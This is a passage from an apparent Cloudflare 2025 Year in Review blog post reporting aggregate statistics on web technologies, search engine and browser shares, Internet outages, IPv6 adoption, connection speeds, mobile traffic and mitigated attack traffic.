Perl, and C.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/QBZ6xnDPw9i3y7EBhTqsd/f232925caf1cf3caa91e80a4e16d5ba8/BLOG-3077_35_-_adoption-websitetechnologies.png" />
          </figure><p><sup><i>Top Web site technologies, JavaScript libraries category in 2025</i></sup></p><p><a href="https://wordpress.org/"><u>WordPress</u></a> remained the most popular content management system (CMS), though its share of scanned sites dropped to 47%, with the difference distributed across gains seen by multiple challengers. <a href="https://www.hubspot.com/"><u>HubSpot</u></a> and <a href="https://business.adobe.com/products/marketo.html"><u>Marketo</u></a> remained the top marketing automation platforms, with a combined share 10% higher YoY. Among A/B testing tools, <a href="https://vwo.com/"><u>VWO</u></a>’s share grew by eight percentage points year-over-year, extending its lead over <a href="https://www.optimizely.com/"><u>Optimizely</u></a>, while <a href="https://support.google.com/analytics/answer/12979939?hl=en"><u>Google Optimize</u></a>, which was sunsetted in September 2023, saw its share fall from 14% to 4%.</p>
    <div>
      <h3>One-fifth of automated API requests were made by Go-based clients</h3>
      <a href="#one-fifth-of-automated-api-requests-were-made-by-go-based-clients">
        
      </a>
    </div>
    <p>Application programming interfaces (APIs) are the foundation of modern dynamic Web sites and both Web-based and native applications. These sites and applications rely heavily on automated API calls to provide customized information. Analyzing the Web traffic protected and delivered by Cloudflare, we can identify requests being made to API endpoints. By applying heuristics to these API-related requests determined to not be coming from a person using a browser or native mobile application, we can identify the <a href="https://radar.cloudflare.com/year-in-review/2025/#api-client-language-popularity"><u>top languages used to build API clients</u></a>.</p><p>In 2025, 20% of automated API requests were made by Go-based clients, representing significant growth from Go’s 12% share in 2024. Python’s share also increased year-over-year, growing from 9.6% to 17%. Java jumped to third place, reaching an 11.2% share, up from 7.4% in 2024. <a href="http://node.js"><u>Node.js</u></a>, last year’s second-most popular language, saw its share fall to just 8.3% in 2025, pushing it down to fourth place, while .NET remained at the bottom of the top five, dropping to just 2.3%.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4tntP1mMqqsH5Bjj0r6xyc/0b03ad6b7257b7b935e102d78ec6bdb4/BLOG-3077_36_-_image56.png" />
          </figure><p><sup><i>Most popular automated API client languages in 2025</i></sup></p>
    <div>
      <h3>Google remains the top search engine, with Yandex, Bing, and DuckDuckGo distant followers</h3>
      <a href="#google-remains-the-top-search-engine-with-yandex-bing-and-duckduckgo-distant-followers">
        
      </a>
    </div>
    <p>Cloudflare is in a unique position to measure <a href="https://radar.cloudflare.com/year-in-review/2025/#search-engine-market-share"><u>search engine market share</u></a> because we protect websites and applications for millions of customers. To that end, since the fourth quarter of 2021, we have been publishing quarterly <a href="https://radar.cloudflare.com/reports"><u>reports</u></a> on this data. We use the HTTP <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer"><u>referer header</u></a> to identify the search engine sending traffic to customer sites and applications, and present the market share data as an overall aggregate, as well as broken out by device type and operating system. (Device type and operating system insights are based on the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent"><u>User-Agent</u></a> and <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Client_hints"><u>Client Hints</u></a> HTTP request headers.)</p><p>Globally, Google referred the most traffic to sites protected and delivered by Cloudflare, with a nearly 90% share in 2025. The other search engines in the top 5 include Bing (3.1%), Yandex (2.0%), Baidu (1.4%), and DuckDuckGo (1.2%). Looking at trends across the year, Yandex dropped from a 2.5% share in May to a 1.5% share in July, while Baidu grew from 0.9% in April to 1.6% in June.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7As9GnMsW9ru3h0RaH0zoX/55e396801f33af890b24aa871f989be5/BLOG-3077_37_-_adoption-searchenginemarketshare.png" />
          </figure><p><sup><i>Overall search engine market share in 2025, worldwide</i></sup></p><p>Yandex users are primarily based in <a href="https://radar.cloudflare.com/year-in-review/2025/ru#search-engine-market-share"><u>Russia</u></a>, where the domestic platform holds a 65% market share, almost double that of Google at 34%. In the <a href="https://radar.cloudflare.com/year-in-review/2025/cz#search-engine-market-share"><u>Czech Republic</u></a>, users prefer Google (84%), but local search engine Seznam’s 7.7% share is a strong showing compared to the second place search engines in other countries. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/fUk9r7hXP0SaMiFiFa3UK/ea4e213f4ac2fb55273e731eacdc10a4/BLOG-3077_38_-_adoption-searchenginemarketshare-czechrepublic.png" />
          </figure><p><sup><i>Overall search engine market share in 2025, Czech Republic</i></sup></p><p>For traffic from “desktop” systems aggregated globally, Google’s market share drops to about 80%, while Bing’s jumps to nearly 11%. This is likely driven by the continued market dominance of Windows-based systems: On Windows, Google refers just 76% of traffic, while Bing refers about 14%. For traffic from mobile devices, Google holds almost 93% of market share, with the same share seen for traffic from both Android and iOS devices.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5ATWm3D3Jp8v0Pob2qibkw/71869e620f0ec7fb42e636d8da6840d7/BLOG-3077_39_-_adoption-searchenginemarketshare-windows.png" />
          </figure><p><sup><i>Overall search engine market share in 2025, Windows-based systems</i></sup></p><p>For additional details, including search engines aggregated under “Other”, please refer to the quarterly <a href="https://radar.cloudflare.com/reports/search-engines"><u>Search Engine Referral Reports</u></a> on Cloudflare Radar.</p>
    <div>
      <h3>Chrome remains the top browser across platforms and operating systems – except on iOS, where Safari has the largest share</h3>
      <a href="#chrome-remains-the-top-browser-across-platforms-and-operating-systems-except-on-ios-where-safari-has-the-largest-share">
        
      </a>
    </div>
    <p>Cloudflare is also in a unique position to measure <a href="https://radar.cloudflare.com/year-in-review/2025/#browser-market-share"><u>browser market share</u></a>, and we have been publishing quarterly <a href="https://radar.cloudflare.com/reports"><u>reports</u></a> on the topic for several years. To identify the browser and associated operating system making content requests, we use information from the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent"><u>User-Agent</u></a> and <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Client_hints"><u>Client Hints</u></a> HTTP headers. We present browser market share data as an overall aggregate, as well as broken out by device type and operating system. Note that the shares of browsers available on both desktop and mobile devices, such as Google Chrome or Apple Safari, are presented in aggregate.</p><p>Globally, two-thirds of request traffic to Cloudflare came from Chrome in 2025, similar to its share last year. Safari, available exclusively on Apple devices, was the second most-popular browser, with a 15.4% market share. They were followed by Microsoft Edge (7.4%), Mozilla Firefox (3.7%) and Samsung Internet (2.3%). </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6NH8hVOr8lxytXTdrCARAk/ac7173e80db1b39da11c2564a3ae4980/BLOG-3077_40_-_adoption-browsermarketshare.png" />
          </figure><p><sup><i>Overall browser market share in 2025, worldwide</i></sup></p><p>In <a href="https://radar.cloudflare.com/year-in-review/2025/ru#browser-market-share"><u>Russia</u></a>, Chrome remains the most popular with a 44% share, but the domestic Yandex Browser comes in a strong second with a 33% market share, as compared to the sub-10% shares for Safari, Edge, and Opera. Interestingly, the Yandex Browser actually beat Chrome by a percentage point (39% to 38%) in June before giving up significant market share to Chrome as the year progressed.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2PGmYbREZR4xvALWdrRqzF/737b9550291d3d5cacfc85cbe72e3551/BLOG-3077_41_-_adoption-browsermarketshare-Russia.png" />
          </figure><p><sup><i>Overall browser market share in 2025, Russia</i></sup></p><p>As the default browser on iOS, Safari is far and away the most popular on such devices, with a 79% market share, four times Chrome’s 19% share. Less than 1% of requests come from DuckDuckGo, Firefox, and QQ Browser (developed in China by Tencent). In contrast, on Android, 85% of requests are from Chrome, while vendor-provided Samsung Internet is a distant second with a 6.6% share. Huawei Browser, another vendor-provided browser, is third at just 1%. And despite being the default browser on Windows, Edge’s 19% share pales in comparison to Chrome, which leads with a 69% share on that operating system.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/zXj6HWrNSNdAWnDXIrLc5/79b47c9671a1c7691b1fde68749d5812/BLOG-3077_42_-_adoption-browsermarketshare-ios.png" />
          </figure><p><sup><i>Overall browser market share in 2025, iOS devices</i></sup></p><p>For additional details, including browsers aggregated under “Other”, please refer to the quarterly <a href="https://radar.cloudflare.com/reports/browser"><u>Browser Market Share Reports</u></a> on Cloudflare Radar.</p>
    <div>
      <h2>Connectivity</h2>
      <a href="#connectivity">
        
      </a>
    </div>
    
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1ZkJ7IDSXBHzKnK9RSNHsY/f042e40576b2380a77282831fe194398/BLOG-3077_43_-_image13.png" />
          </figure>
    <div>
      <h3>Almost half of the 174 major Internet outages observed around the world in 2025 were due to government-directed regional and national shutdowns of Internet connectivity</h3>
      <a href="#almost-half-of-the-174-major-internet-outages-observed-around-the-world-in-2025-were-due-to-government-directed-regional-and-national-shutdowns-of-internet-connectivity">
        
      </a>
    </div>
    <p>Internet outages continue to be an ever-present threat, and the potential impact of these outages continues to grow, as they can lead to economic losses, disrupted educational and government services, and limited communications. During 2025, we covered significant Internet disruptions and their associated causes in our quarterly summary posts (<a href="https://blog.cloudflare.com/q1-2025-internet-disruption-summary/"><u>Q1</u></a>, <a href="https://blog.cloudflare.com/q2-2025-internet-disruption-summary/"><u>Q2</u></a>, <a href="https://blog.cloudflare.com/q3-2025-internet-disruption-summary/"><u>Q3</u></a>) as well standalone posts covering major outages in <a href="https://blog.cloudflare.com/how-power-outage-in-portugal-spain-impacted-internet/"><u>Portugal &amp; Spain</u></a> and <a href="https://blog.cloudflare.com/nationwide-internet-shutdown-in-afghanistan/"><u>Afghanistan</u></a>. The <a href="https://radar.cloudflare.com/outage-center"><u>Cloudflare Radar Outage Center</u></a> tracks these Internet outages, and uses Cloudflare traffic data for insights into their scope and duration.</p><p>Nearly half of the <a href="https://radar.cloudflare.com/year-in-review/2025/#internet-outages"><u>observed outages</u></a> this year were related to Internet shutdowns intended to prevent cheating on academic exams. Countries including <a href="https://x.com/CloudflareRadar/status/1930310203083210760"><u>Iraq</u></a>, <a href="https://x.com/CloudflareRadar/status/1952002641896288532"><u>Syria</u></a>, and <a href="https://blog.cloudflare.com/q3-2025-internet-disruption-summary/#sudan"><u>Sudan</u></a> again implemented regular multi-hour shutdowns over the course of several weeks during exam periods. Other government-directed shutdowns in <a href="https://x.com/CloudflareRadar/status/1924531952993841639"><u>Libya</u></a> and <a href="https://x.com/CloudflareRadar/status/1983502557868666900"><u>Tanzania</u></a> were implemented in response to protests and civil unrest, while in <a href="https://blog.cloudflare.com/nationwide-internet-shutdown-in-afghanistan/"><u>Afghanistan</u></a>, the Taliban ordered the shutdown of fiber optic Internet connectivity in multiple provinces as part of a drive to “prevent immorality.”</p><p>Cable cuts, affecting both submarine and domestic fiber optic infrastructure, were also a leading cause of Internet disruptions in 2025. These cuts resulted in network providers in countries/regions including the <a href="https://blog.cloudflare.com/q3-2025-internet-disruption-summary/#texas-united-states"><u>United States</u></a>, <a href="https://blog.cloudflare.com/q3-2025-internet-disruption-summary/#south-africa"><u>South Africa</u></a>, <a href="https://blog.cloudflare.com/q2-2025-internet-disruption-summary/#digicel-haiti"><u>Haiti</u></a>, <a href="https://blog.cloudflare.com/q3-2025-internet-disruption-summary/#pakistan-united-arab-emirates"><u>Pakistan</u></a>, and <a href="https://x.com/CloudflareRadar/status/1910709632756019219"><u>Hong Kong</u></a> experiencing service disruptions lasting from several hours to several days. Other notable outages include one caused by a <a href="https://bsky.app/profile/radar.cloudflare.com/post/3ltf6jtxd5s2p"><u>fire</u></a> in a telecom building in Cairo, Egypt, which disrupted Internet connectivity across multiple service providers for several days, and another in <a href="https://x.com/CloudflareRadar/status/1983188999461319102"><u>Jamaica</u></a>, where damage caused by Hurricane Melissa resulted in lower Internet traffic from the island for over a week.</p><p>Within the <a href="https://radar.cloudflare.com/year-in-review/2025#internet-outages"><u>timeline</u></a> on the Year in Review microsite, hovering over a dot will display information about that outage, and clicking on it will link to additional insights.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7gC9MsV4mObyNllxyQPzDy/cfe5dcee5e751e00309f7b4f6902a03e/BLOG-3077_44_-_connectivity-internetoutages.png" />
          </figure><p><sup><i>Over 170 major Internet outages were observed around the world during 2025</i></sup></p>
    <div>
      <h3>Globally, less than a third of dual-stack requests were made over IPv6, while in India, over two-thirds were</h3>
      <a href="#globally-less-than-a-third-of-dual-stack-requests-were-made-over-ipv6-while-in-india-over-two-thirds-were">
        
      </a>
    </div>
    <p>Available IPv4 address space has been largely exhausted <a href="https://ipv4.potaroo.net/"><u>for a decade or more</u></a>, though solutions like <a href="https://en.wikipedia.org/wiki/Network_address_translation"><u>Network Address Translation</u></a> have enabled network providers to stretch limited IPv4 resources. This has served in part to slow the adoption of <a href="https://www.rfc-editor.org/rfc/rfc1883"><u>IPv6</u></a>, designed in the mid-1990s as a successor protocol to IPv4, and offers an expanded address space intended to better support the expected growth in the number of Internet-connected devices.</p><p>For nearly 15 years, Cloudflare has been a vocal and active advocate for IPv6 as well, launching solutions including <a href="https://blog.cloudflare.com/introducing-cloudflares-automatic-ipv6-gatewa/"><u>Automatic IPv6 Gateway</u></a> in 2011, which enabled free IPv6 support for all of our customers and <a href="https://blog.cloudflare.com/i-joined-cloudflare-on-monday-along-with-5-000-others"><u>IPv6 support by default for all of our customers</u></a> in 2014. Simplistically, server-side support is only half of what is needed to drive IPv6 adoption, because end user connections need to support it as well. By aggregating and analyzing the IP version used for requests made to Cloudflare across the year, we can get insight into the distribution of traffic across IPv6 and IPv4.</p><p><a href="https://radar.cloudflare.com/year-in-review/2025/#ipv6-adoption"><u>Globally</u></a>, 29% of IPv6-capable (“<a href="https://www.techopedia.com/definition/19025/dual-stack-network"><u>dual-stack</u></a>”) requests for content were made over IPv6, up a percentage point from <a href="https://radar.cloudflare.com/year-in-review/2024#ipv6-adoption"><u>28% in 2024</u></a>. India again topped the list with an IPv6 adoption rate of 67%, followed by just three other countries/regions (<a href="https://radar.cloudflare.com/year-in-review/2025/my#ipv6-adoption"><u>Malaysia</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/sa#ipv6-adoption"><u>Saudi Arabia</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025/uy#ipv6-adoption"><u>Uruguay</u></a>) that also made more than half of such requests over IPv6, the same as last year. Some of the largest gains were seen in <a href="https://radar.cloudflare.com/year-in-review/2025/bz#ipv6-adoption"><u>Belize</u></a>, which grew from 4.3% to 24% year-over-year, and <a href="https://radar.cloudflare.com/year-in-review/2025/qa#ipv6-adoption"><u>Qatar</u></a>, which saw its adoption nearly double to 33% in 2025. Unfortunately, some countries/regions still lag the leaders, with 94 seeing adoption rates below 10%, including <a href="https://radar.cloudflare.com/year-in-review/2025/ru#ipv6-adoption"><u>Russia</u></a> (8.6%), <a href="https://radar.cloudflare.com/year-in-review/2025/ie#ipv6-adoption"><u>Ireland</u></a> (6.5%), and <a href="https://radar.cloudflare.com/year-in-review/2025/hk#ipv6-adoption"><u>Hong Kong</u></a> (3.0%). Even further behind are the 20 countries/regions with adoption rates below 1%, including <a href="https://radar.cloudflare.com/year-in-review/2025/tz#ipv6-adoption"><u>Tanzania</u></a> (0.9%), <a href="https://radar.cloudflare.com/year-in-review/2025/sy#ipv6-adoption"><u>Syria</u></a> (0.3%), and <a href="https://radar.cloudflare.com/year-in-review/2025/gi#ipv6-adoption"><u>Gibraltar</u></a> (0.1%).</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2NkFC1eLbAPdpJv6WPkvHT/26a260f8068656f8ed4aa0a28009a5d9/BLOG-3077_45_-_connectivity-ipv6.png" />
          </figure><p><sup><i>Distribution of traffic by IP version in 2025, worldwide</i></sup></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3Mzu2k3Xs1YZVNhpZpx9xH/23d19f5057b52690e2def65bc2c9c64a/BLOG-3077_46_-_connectivity-ipv6-top5.png" />
          </figure><p><sup><i>Top five countries for IPv6 adoption in 2025</i></sup></p>
    <div>
      <h3>European countries had some of the highest download speeds, all above 200 Mbps. Spain remained consistently among the top locations across measured Internet quality metrics</h3>
      <a href="#european-countries-had-some-of-the-highest-download-speeds-all-above-200-mbps-spain-remained-consistently-among-the-top-locations-across-measured-internet-quality-metrics">
        
      </a>
    </div>
    <p>Over the past decade or so, we have turned to Internet speed tests for many purposes: keeping our service providers honest, troubleshooting a problematic connection, or showing off a particularly high download speed on social media. In fact, we’ve become conditioned to focus on download speeds as the primary measure of a connection’s quality. While it is absolutely an important metric, for increasingly popular use cases — like videoconferencing, live-streaming, and online gaming — strong upload speeds and low latency are also critical. However, even when Internet providers offer service tiers that include high symmetric speeds and lower latency, consumer adoption is often mixed due to cost, availability, or other issues.</p><p>Tests on <a href="https://speed.cloudflare.com/"><u>speed.cloudflare.com</u></a> measure both download and upload speeds, as well as loaded and unloaded latency. By aggregating the results of <a href="https://radar.cloudflare.com/year-in-review/2025/#internet-quality"><u>tests taken around the world during 2025</u></a>, we can get a country/region perspective on average values for these <a href="https://developers.cloudflare.com/radar/glossary/#connection-quality"><u>connection quality</u></a> metrics, as well as insight into the distribution of the measurements.</p><p>Europe was well-represented among those with the highest average download speeds in 2025. <a href="https://radar.cloudflare.com/year-in-review/2025/es#internet-quality"><u>Spain</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/hu#internet-quality"><u>Hungary</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/pt#internet-quality"><u>Portugal</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/dk#internet-quality"><u>Denmark</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/ro#internet-quality"><u>Romania</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025/fr#internet-quality"><u>France</u></a> were all in the top 10, with both Spain and Hungary averaging download speeds above 300 Mbps. Spain’s average grew by 25 Mbps from 2024, while Hungary’s jumped 46 Mbps. Meanwhile, Asian countries had many of the highest average upload speeds, with <a href="https://radar.cloudflare.com/year-in-review/2025/kr#internet-quality"><u>South Korea</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/mo#internet-quality"><u>Macau</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/sg#internet-quality"><u>Singapore</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025/jp#internet-quality"><u>Japan</u></a> reaching the top 10, all seeing averages in excess of 130 Mbps.</p><p>But it was Spain that topped the list for the upload metric as well at 206 Mbps, up 13 Mbps from 2024. The country’s strong showing across both speed metrics is potentially attributable to <a href="https://commission.europa.eu/projects/unico-broadband_en"><u>“UNICO-Broadband,”</u></a> a “<i>call for projects by telecommunications operators aiming at the deployment of high-speed broadband infrastructure capable of providing services at symmetric speeds of at least 300 Mbps, scalable at 1 Gbps,</i>” which aimed to cover 100 % of the population in 2025.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4pZCAQEMEmbUjXkIUzAwUP/8aec93e96debe19d496396a6e6cd1db7/BLOG-3077_47_-_connectivity-downloadspeeds.png" />
          </figure><p><sup><i>Countries/regions with the highest download speeds in 2025, worldwide</i></sup></p><p>As noted above, low latency connections are needed to provide users with good <a href="https://www.screenbeam.com/wifihelp/wifibooster/how-to-reduce-latency-or-lag-in-gaming-2/#:~:text=Latency%20is%20measured%20in%20milliseconds,%2C%2020%2D40ms%20is%20optimal."><u>gaming</u></a> and <a href="https://www.haivision.com/glossary/video-latency/#:~:text=Low%20latency%20is%20typically%20defined,and%20streaming%20previously%20recorded%20events."><u>videoconferencing/streaming</u></a> experiences. The <a href="https://blog.cloudflare.com/introducing-radar-internet-quality-page/#connection-speed-quality-data-is-important"><u>latency metric</u></a> can be broken down into loaded and idle latency. The former measures latency on a loaded connection, where bandwidth is actively being consumed, while the latter measures latency on an “idle” connection, when there is no other network traffic present. (These definitions are from the speed test application’s perspective.) </p><p>In 2025, a number of European countries were among those with both the lowest idle and loaded latencies. For average idle latency, <a href="https://radar.cloudflare.com/year-in-review/2025/is#internet-quality"><u>Iceland</u></a> measured the lowest at 13 ms, just 2 ms better than <a href="https://radar.cloudflare.com/year-in-review/2025/md#internet-quality"><u>Moldova</u></a>. In addition to these two, <a href="https://radar.cloudflare.com/year-in-review/2025/pt#internet-quality"><u>Portugal</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/es#internet-quality"><u>Spain</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025/hu#internet-quality"><u>Hungary</u></a> also ranked among the top 10, all with average idle latencies below 20 ms. Moldova topped the list of countries/regions with the lowest average loaded latency, at 73 ms. Hungary, Spain, <a href="https://radar.cloudflare.com/year-in-review/2025/be#internet-quality"><u>Belgium</u></a>, Portugal, <a href="https://radar.cloudflare.com/year-in-review/2025/sk#internet-quality"><u>Slovakia</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025/si#internet-quality"><u>Slovenia</u></a> were also part of the top 10, all with average loaded latencies below 100 ms.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4yFdtVsghuBNrCe0sqdEuS/1ed59c6a972f2c511ed567ef69863f39/BLOG-3077_48_-_connectivity-latency-moldova.png" />
          </figure><p><sup><i>Measured idle/loaded latency, Moldova</i></sup></p>
    <div>
      <h3>London and Los Angeles were hotspots for Cloudflare speed test activity in 2025</h3>
      <a href="#london-and-los-angeles-were-hotspots-for-cloudflare-speed-test-activity-in-2025">
        
      </a>
    </div>
    <p>As we discussed above, the speed test at <a href="http://speed.cloudflare.com"><u>speed.cloudflare.com</u></a> measures a user’s connection speeds and latency. We reviewed the aggregate findings from those tests, highlighting the countries/regions with the best results. However, we also wondered about test activity around the world -– where are users most concerned about their connection quality, and how frequently do they perform tests? <a href="https://radar.cloudflare.com/year-in-review/2025/#speed-tests"><u>A new animated Year in Review visualization illustrates speed test activity</u></a>, aggregated weekly.</p><p>Data is aggregated at a regional level and the associated activity is plotted on the map, with circles sized based on the number of tests taken each week. Note that locations with fewer than 100 speed tests per week are not plotted. Looking at test volume across the year, the greater London and Los Angeles areas were most active, as were Tokyo and Hong Kong and several U.S. cities.</p><p>Animating the graph to see changes across the year, a number of week-over-week surges in test volume are visible. These include in the Nairobi, Kenya, area during the seven-day period ending June 10; in the Tehran, Iran, area the period ending July 29; across multiple areas in Russia the period ending August 5; and in the Karnataka, India, area the period ending October 28. It isn’t clear what drove these increases in test volume — the <a href="https://radar.cloudflare.com/outage-center?dateStart=2025-01-01&amp;dateEnd=2025-12-02"><u>Cloudflare Radar Outage Center</u></a> does not show any observed Internet outages impacting those areas around those times, so it is unlikely to be subscribers testing the restoration of connectivity.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/73PtVEdvkENBbF5O8qD8ij/482d15f05359cbf6ae24fb606ed61793/BLOG-3077_49_-_connectivity-globalspeedtestactivity.png" />
          </figure><p><sup><i>Cloudflare speed test activity by location in 2025</i></sup></p>
    <div>
      <h3>More than half of request traffic comes from mobile devices in 117 countries/regions</h3>
      <a href="#more-than-half-of-request-traffic-comes-from-mobile-devices-in-117-countries-regions">
        
      </a>
    </div>
    <p>For better or worse, over the last quarter-century, mobile devices have become an indispensable part of everyday life. Adoption varies around the world — statistics from <a href="https://blogs.worldbank.org/en/voices/Mobile-phone-ownership-is-widespread-Why-is-digital-inclusion-still-lagging"><u>the World Bank</u></a> show multiple countries/regions with mobile phone ownership above 90%, while in several others, ownership rates are below 10%, as of October 2025. In some countries/regions, mobile devices primarily connect to the Internet via Wi-Fi, while other countries/regions are “mobile first,” where 4G/5G services are the primary means of Internet access.</p><p>Information contained within the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent"><u>User-Agent</u></a> header included with each request to Cloudflare enables us to categorize it as coming from a mobile, desktop, or other type of device. <a href="https://radar.cloudflare.com/year-in-review/2025/#mobile-vs-desktop"><u>Aggregating this categorization globally across 2025</u></a> found that 43% of requests were from mobile devices, up from <a href="https://radar.cloudflare.com/year-in-review/2024#mobile-vs-desktop"><u>41% in 2024</u></a>. The balance came from “classic” laptop and desktop type devices. Similar to an observation <a href="https://blog.cloudflare.com/radar-2024-year-in-review/#41-3-of-global-traffic-comes-from-mobile-devices-in-nearly-100-countries-regions-the-majority-of-traffic-comes-from-mobile-devices"><u>made last year</u></a>, these traffic shares were in line with those measured in Year in Review reports dating back to 2022, suggesting that mobile device usage has achieved a “steady state.”</p><p>In 117 countries/regions, more than half of requests came from mobile devices, led by <a href="https://radar.cloudflare.com/year-in-review/2025/sd#mobile-vs-desktop"><u>Sudan</u></a> and <a href="https://radar.cloudflare.com/year-in-review/2025/mw#mobile-vs-desktop"><u>Malawi</u></a> at 75% and 74% respectively. Five other African countries/regions — <a href="https://radar.cloudflare.com/year-in-review/2025/sz#mobile-vs-desktop"><u>Eswatini (Swaziland)</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/ye#mobile-vs-desktop"><u>Yemen</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/bw#mobile-vs-desktop"><u>Botswana</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/mz#mobile-vs-desktop"><u>Mozambique</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025/so#mobile-vs-desktop"><u>Somalia</u></a> — also had mobile request shares above 70% in 2025, in line with <a href="https://voxdev.org/topic/understanding-mobile-phone-and-internet-use-across-world"><u>strong mobile phone ownership</u></a> in the region. Among countries/regions with low mobile device traffic share, <a href="https://radar.cloudflare.com/year-in-review/2025/gi#mobile-vs-desktop"><u>Gibraltar</u></a> was the only one below 10% (at 5.1%), with just six others originating less than a quarter of requests from mobile devices. This is fewer than in <a href="https://radar.cloudflare.com/year-in-review/2024#mobile-vs-desktop"><u>2024</u></a>, when a dozen countries/regions had a mobile share below 25%.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/fcUaDzUxKouChLsJzfQf5/13e3eb93633c6d5ed017378022218505/BLOG-3077_50_-_connectivity-mobiledesktop.png" />
          </figure><p><sup><i>Distribution of traffic by device type in 2025, worldwide</i></sup></p><p><sup><i></i></sup></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6X1wD6uZUA4eB5vyf3vwl6/72a9445980b21e2917424eca151c77b4/BLOG-3077_51_-_connectivity-mobiledesktop-map.png" />
          </figure><p><sup><i>Global distribution of traffic by device type in 2025</i></sup></p>
    <div>
      <h2>Security</h2>
      <a href="#security">
        
      </a>
    </div>
    
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1X1yOLxEicpVw5U4ukcAQF/f7d0b02841a8220151a66cd6f0226302/BLOG-3077_52_-_image18.png" />
          </figure>
    <div>
      <h3>6% of global traffic over Cloudflare’s network was mitigated by our systems — either as potentially malicious or for customer-defined reasons</h3>
      <a href="#6-of-global-traffic-over-cloudflares-network-was-mitigated-by-our-systems-either-as-potentially-malicious-or-for-customer-defined-reasons">
        
      </a>
    </div>
    <p>Cloudflare automatically mitigates attack traffic targeting customer websites and applications using <a href="https://www.cloudflare.com/learning/ddos/what-is-a-ddos-attack/"><u>DDoS</u></a> mitigation techniques or <a href="https://developers.cloudflare.com/waf/managed-rules/"><u>Web Application Firewall (WAF) Managed Rules</u></a>, protecting them from a variety of threats posed by malicious actors. We also enable customers to mitigate traffic, even if it isn’t malicious, using techniques like <a href="https://developers.cloudflare.com/waf/rate-limiting-rules/"><u>rate-limiting</u></a> requests or <a href="https://developers.cloudflare.com/waf/tools/ip-access-rules/"><u>blocking all traffic from a given location</u></a>. The need to do so may be driven by regulatory or business requirements. We looked at the overall share of traffic to Cloudflare’s network throughout 2025 that was mitigated for any reason, as well as the share that was blocked as a DDoS attack or by WAF Managed Rules.</p><p>This year, <a href="https://radar.cloudflare.com/year-in-review/2025/#mitigated-traffic"><u>6.2% of global traffic was mitigated</u></a>, down a quarter of a percentage point <a href="https://radar.cloudflare.com/year-in-review/2024#mitigated-traffic"><u>from 2024</u></a>. 3.3% of traffic was mitigated as a DDoS attack, or by managed rules, up one-tenth of a percentage point year over year. General mitigations were applied to more than 10% of the traffic coming from over 30 countries/regions, while 14 countries/regions had DDoS/WAF mitigations applied to more than 10% of originated traffic. Both counts were down in comparison to 2024. </p><p>Equatorial Guinea had the largest shares of mitigated traffic with 40% generally mitigated and 29% with DDoS/WAF mitigations applied. These shares grew over the last year, from 26% (general) and 19% (DDoS/WAF). In contrast, Dominica had the smallest shares of mitigated traffic, with just 0.7% of traffic mitigated, with DDoS/WAF mitigations applied to just 0.1%.</p><p>The large increase in mitigated traffic seen during July in the graph below is due to a very large DDoS attack campaign that primarily targeted a single Cloudflare customer domain.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5xzs0onu96x2qCwGRNHrPW/a730564c03b600f793ae92df8ad38ee8/BLOG-3077_53_-_security-mitigatedtraffic.png" />
          </figure><p><sup><i>Mitigated traffic trends in 2025, worldwide</i></sup></p>
    <div>
      <h3>40% of global bot traffic came from the United States, with Amazon Web Services and Google Cloud originating a quarter of global bot traffic</h3>
      <a href="#40-of-global-bot-traffic-came-from-the-united-states-with-amazon-web-services-and-google-cloud-originating-a-quarter-of-global-bot-traffic">
        
      </a>
    </div>
